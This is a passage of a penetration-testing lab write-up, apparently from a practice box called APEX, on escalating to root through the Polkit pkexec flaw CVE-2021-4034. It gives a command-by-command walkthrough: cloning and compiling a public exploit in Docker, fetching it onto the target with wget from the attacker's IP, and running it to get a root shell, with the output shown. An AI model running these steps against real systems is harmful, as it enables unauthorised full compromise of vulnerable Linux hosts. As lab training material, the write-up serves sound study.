CVE-2021-4034
PEAS has identified that the target system is vulnerable to CVE-2021-4034
The vulnerable program is a part of Polkit, which manages process privileges. Polkit’s pkexec allows for non-privileged processes to communicate with privileged ones, as well as instrumenting legitimate and authorized uses of privilege escalation similar to
sudo
.
A memory corruption flaw exists when no argument is passed to the function. By manipulating environment variables, an attacker can trick pkexec
to load and execute arbitrary code with superuser privileges.
Exploit
Exploit found online
www-data@APEX:/dev/shm$ gcc
Command 'gcc' not found, but can be installed with:
apt install gcc
Please ask your administrator.
No compiler installed locally. Opting out to remote compilation.
Docker Exploit Development
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/apex]
└─$ docker run -it --entrypoint "/bin/bash" -v ./:/root/host --name apex ubuntu:18.04
root@fd24fdfb2c75:/# apt update -y ; apt install nano gcc gcc-multilib make git wget -y ; cd root/host
root@fd24fdfb2c75:~/host# git clone https://github.com/berdav/CVE-2021-4034 ; cd CVE-2021-4034 ; make
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Unpacking objects: 100% (92/92), done.
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
root@fd24fdfb2c75:~/host/CVE-2021-4034# cd ..; tar -czf CVE-2021-4034.tar.gz CVE-2021-4034
set
Exploitation
www-data@APEX:/dev/shm$ wget -q http://192.168.45.215/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034
www-data@APEX:/dev/shm/CVE-2021-4034$ ./cve-2021-4034
./cve-2021-4034
whoami
root
hostname
APEX
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.196.145 netmask 255.255.255.0 broadcast 192.168.196.255
ether 00:50:56:9e:56:a6 txqueuelen 1000 (Ethernet)
RX packets 20432 bytes 4713899 (4.7 MB)
RX errors 0 dropped 36 overruns 0 frame 0
TX packets 2146 bytes 524530 (524.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 552 bytes 40524 (40.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 552 bytes 40524 (40.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise